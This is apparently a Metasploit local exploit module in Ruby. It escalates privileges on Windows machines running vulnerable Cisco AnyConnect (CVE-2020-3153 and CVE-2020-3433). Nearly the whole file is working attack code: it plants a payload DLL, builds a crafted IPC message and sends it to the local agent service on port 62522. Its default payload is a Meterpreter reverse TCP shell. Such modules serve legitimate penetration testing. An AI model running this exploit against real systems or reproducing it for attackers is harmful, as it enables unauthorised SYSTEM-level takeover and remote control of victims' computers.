## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Priv include Msf::Post::Windows::FileInfo include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)', 'Description' => %q{ The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges. The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers to execute code on the affected machine with with system level privileges. Both attacks consist in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service. This service will then launch the vulnerable installer component (`vpndownloader`), which copies itself to an arbitrary location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being executed with system privileges. Since `vpndownloader` is also vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same location `vpndownloader` will be copied to get code execution with system privileges. The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version 1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', # original PoC CVE-2020-3153, analysis 'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module 'Christophe De La Fuente' # msf module for CVE-2020-3153 ], 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86/x64 with x86 payload', { 'Arch' => ARCH_X86 } ] ], 'Privileged' => true, 'References' => [ ['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'], ['CVE', '2020-3153'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'], ['CVE', '2020-3433'] ], 'DisclosureDate' => 'Aug 05 2020', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'FileDropperDelay' => 10 } ) ) register_options [ OptString.new('INSTALL_PATH', [ false, 'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\ ' should be found). It will be automatically detected if not set.' ]), OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end # See AnyConnect IPC protocol articles: # - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/ # - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/ class CIPCHeader < BinData::Record endian :little uint32 :id_tag, label: 'ID Tag', value: 0x4353434f uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes } uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes } uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000 uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002 uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000 uint8 :message_type, label: 'Message Type', initial_value: 1 uint8 :message_id, label: 'Message ID', initial_value: 2 end class CIPCTlv < BinData::Record endian :big uint8 :msg_type, label: 'Type' uint8 :msg_index, label: 'Index' uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes } stringz :msg_value, label: 'Value', length: -> { msg_length } end class CIPCMessage < BinData::Record endian :little cipc_header :header, label: 'Header' array :body, label: 'Body', type: :cipc_tlv, read_until: :eof end def detect_path program_files_paths = Set.new([get_env('ProgramFiles')]) program_files_paths << get_env('ProgramFiles(x86)') path = 'Cisco\\Cisco AnyConnect Secure Mobility Client' program_files_paths.each do |program_files_path| next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\')) return "#{program_files_path}\\#{path}" end nil end def sanitize_path(path) return nil unless path path = path.strip loop do break if path.last != '\\' path.chop! end path end def check install_path = sanitize_path(datastore['INSTALL_PATH']) if install_path&.!= '' vprint_status("Skipping installation path detection and use provided path: #{install_path}") @installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil else vprint_status('Try to detect installation path...') @installation_path = detect_path end unless @installation_path return CheckCode.Safe('vpndownloader.exe not found on file system') end file_path = "#{@installation_path}\\vpndownloader.exe" vprint_status("Found vpndownloader.exe path: '#{file_path}'") version = file_version(file_path) unless version return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version') end cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153') patched_version_cve_2020_3153 = Gem::Version.new('4.8.02042') patched_version_cve_2020_3433 = Gem::Version.new('4.9.00086') @ac_version = Gem::Version.new(version.join('.')) if @ac_version < patched_version_cve_2020_3153 return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).") elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153 return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).") elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153 return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).") else return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.") end end def exploit fail_with(Failure::None, 'Session is already elevated') if is_system? if !payload.arch.include?(ARCH_X86) fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload') end check_result = check print_status(check_result.message) if check_result == CheckCode::Safe unless @installation_path fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)') end unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)') end print_warning('Override check result and attempt exploitation anyway') end cac_cmd = '"CAC-nc-install' if @ac_version && @ac_version >= Gem::Version.new('4.7') vprint_status('"-ipc" argument needed') cac_cmd << "\t-ipc=#{rand_text_numeric(5)}" else vprint_status('"-ipc" argument not needed') end cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153') if cve_2020_3153 program_data_path = get_env('ProgramData') dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll" else temp_path = get_env('TEMP') junk = Rex::Text.rand_text_alphanumeric(6) temp_path << "\\#{junk}" mkdir(temp_path) dbghelp_path = "#{temp_path}\\dbghelp.dll" end print_status("Writing the payload to #{dbghelp_path}") begin payload_dll = generate_payload_dll(dll_exitprocess: true) write_file(dbghelp_path, payload_dll) register_file_for_cleanup(dbghelp_path) rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end if cve_2020_3153 # vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the # normal process will copy the file to # "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\") register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe") junk = Rex::Text.rand_text_alphanumeric(4) cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\"" else cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\"" end vprint_status("IPC Command: #{cac_cmd}") cipc_msg = CIPCMessage.new cipc_msg.body << CIPCTlv.new( msg_type: 0, msg_index: 2, msg_value: cac_cmd ) cipc_msg.body << CIPCTlv.new( msg_type: 0, msg_index: 6, msg_value: "#{@installation_path}\\vpndownloader.exe" ) vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522') begin socket = client.net.socket.create( Rex::Socket::Parameters.new( 'PeerHost' => '127.0.0.1', 'PeerPort' => 62522, 'Proto' => 'tcp' ) ) rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) end vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)") socket.write(cipc_msg.to_binary_s) socket.flush # Give FileDropper some time to cleanup before handing over to the operator Rex.sleep(3) ensure if socket vprint_status('Shutdown the socket') socket.shutdown end end end